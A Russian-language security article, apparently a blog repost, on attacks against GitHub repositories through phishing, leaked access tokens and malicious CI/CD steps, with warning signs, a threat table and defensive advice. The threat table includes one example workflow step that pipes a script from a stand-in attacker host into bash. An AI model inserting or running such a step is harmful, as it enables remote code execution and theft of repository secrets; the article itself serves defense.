Хакеры заражают тысячи GitHub-проектов через фишинг и утечку токенов

Недавно я зашел в свой GitHub-форк и обомлел. Десятки коммитов, странные файлы, которых я не писал. Знакомая картина? Добро пожаловать в клуб. Это не глюк. Это масштабная кампания по заражению репозиториев. За последние месяцы скомпрометированы тысячи проектов. Их владельцы даже не чешутся. А зря. Давайте разберем, как это работает и, главное, как не стать жертвой.

Как хакеры пролезают в ваш код: три главных дыры

Злоумышленники не взламывают замки. Они находят незапертые двери. Вот три самых популярных способа проникновения.

Фишинг. Приходит письмо: «GitHub, срочно подтвердите аккаунт». Вы переходите по ссылке, вводите логин и пароль. Всё. Доступ к репозиторию у хакера. Это не теория. Это база.

Кража токенов. Personal access tokens — это ключи от вашего кода. Разработчики часто оставляют их в коммитах, логах или переменных окружения. Один такой токен с правами на запись — и хакер может пушить код напрямую. Без вашего ведома. Без взлома учетки. Лакомый кусочек, правда?

Уязвимости CI/CD. GitHub Actions — мощный инструмент. Но если в workflow добавить шаг с curl или wget на внешний сервер, хакер может запустить вредоносный скрипт при каждом пуше. И вы даже не заметите.

Личное наблюдение автора: я несколько лет слежу за open-source безопасностью. И эта атака — одна из самых изощренных. Хакеры маскируют вредоносный код под легитимные обновления. Однажды я видел, как пакет-бэкдор внедрили через опечатку: «loadash» вместо «lodash». Разработчик случайно опечатался, и хакеры этим воспользовались. Они мониторят популярные репозитории и ждут, когда кто-то ошибется. Поэтому совет: перед мержем проверяйте каждую строчку. Серьезно.

Признаки заражения: как отличить норму от аномалии

Не всегда очевидно, что ваш репозиторий под колпаком. Вот на что стоит обратить внимание.

• Новые файлы из ниоткуда. Особенно в скрытых папках (.github, .vscode) или с подозрительными именами (update.js, system.php).
• Изменения в build-скриптах. Добавились команды, которые загружают внешние скрипты или меняют зависимости.
• Странные зависимости. В package.json или requirements.txt появились пакеты с опечатками (typosquatting). Или просто незнакомые библиотеки.
• Необычная активность коммитов. Коммиты от незнакомых пользователей. Или с сообщениями «fix», «update». Без контекста.
• Подозрительный код в CI/CD. В workflow-файлах есть шаги, выполняющие curl к внешним серверам.

Если заметили хоть один пункт — бейте тревогу.

Методы атаки: таблица угроз

Чтобы было наглядно, вот таблица основных методов, их описание и уровень угрозы.

• Фишинг. Поддельные письма от GitHub. Уровень: высокий. Пример: переход на подставную страницу входа.
• Кража токенов. Токены в открытом коде. Уровень: критический. Пример: Personal access token в публичном репозитории.
• Уязвимости CI/CD. Вредоносные шаги в GitHub Actions. Уровень: высокий. Пример: добавление шага run: curl http://evil.com/payload.sh | bash.
• Социальная инженерия. Pull request с вредоносным кодом от имени доверенного пользователя. Уровень: средний. Пример: PR с незначительным изменением, но скрытым бэкдором.
• Загрузка артефактов. Вредоносные файлы в релизах. Уровень: средний. Пример: бинарник, который при запуске устанавливает майнер.

Как защитить свои репозитории: пять шагов

Не ждите, пока вас взломают. Действуйте на опережение.

Шаг 1. Включите двухфакторную аутентификацию (2FA). Это база. Без нее вы — легкая мишень.

Шаг 2. Используйте токены с минимальными правами. Не давайте токенам права записи, если они нужны только для чтения. Это как дать ключи от квартиры, когда нужно только в подъезд зайти.

Шаг 3. Настройте защиту веток (branch protection rules). Запретите прямой пуш в main/master. Сделайте обязательные ревью и проверки CI.

Шаг 4. Регулярно аудируйте репозитории. Используйте встроенный Secret Scanning и Dependabot. Они найдут уязвимости до того, как это сделают хакеры.

Шаг 5. Проверяйте все внешние зависимости. Ищите опечатки и известные уязвимости. Одна ошибка в названии пакета может стоить вам всего проекта.

Что делать, если вы уже попались

Паника — плохой советчик. Действуйте по плану.

Первое: немедленно отзовите все скомпрометированные токены. Удалите их из настроек GitHub и создайте новые.

Второе: откатите коммиты. Используйте git revert или git reset до момента до заражения.

Третье: проверьте secrets. В настройках репозитория убедитесь, что нет неизвестных секретов.

Четвертое: уведомите сообщество. Опубликуйте issue с описанием инцидента. Пусть другие проверят свои копии.

Масштаб проблемы огромен. Но при правильных настройках защиты вы можете спать спокойно. Главное — не игнорировать подозрительную активность и регулярно аудировать доступы. Это уже не паранойя. Это необходимая практика для каждого разработчика.

По материалам: Tehnoseo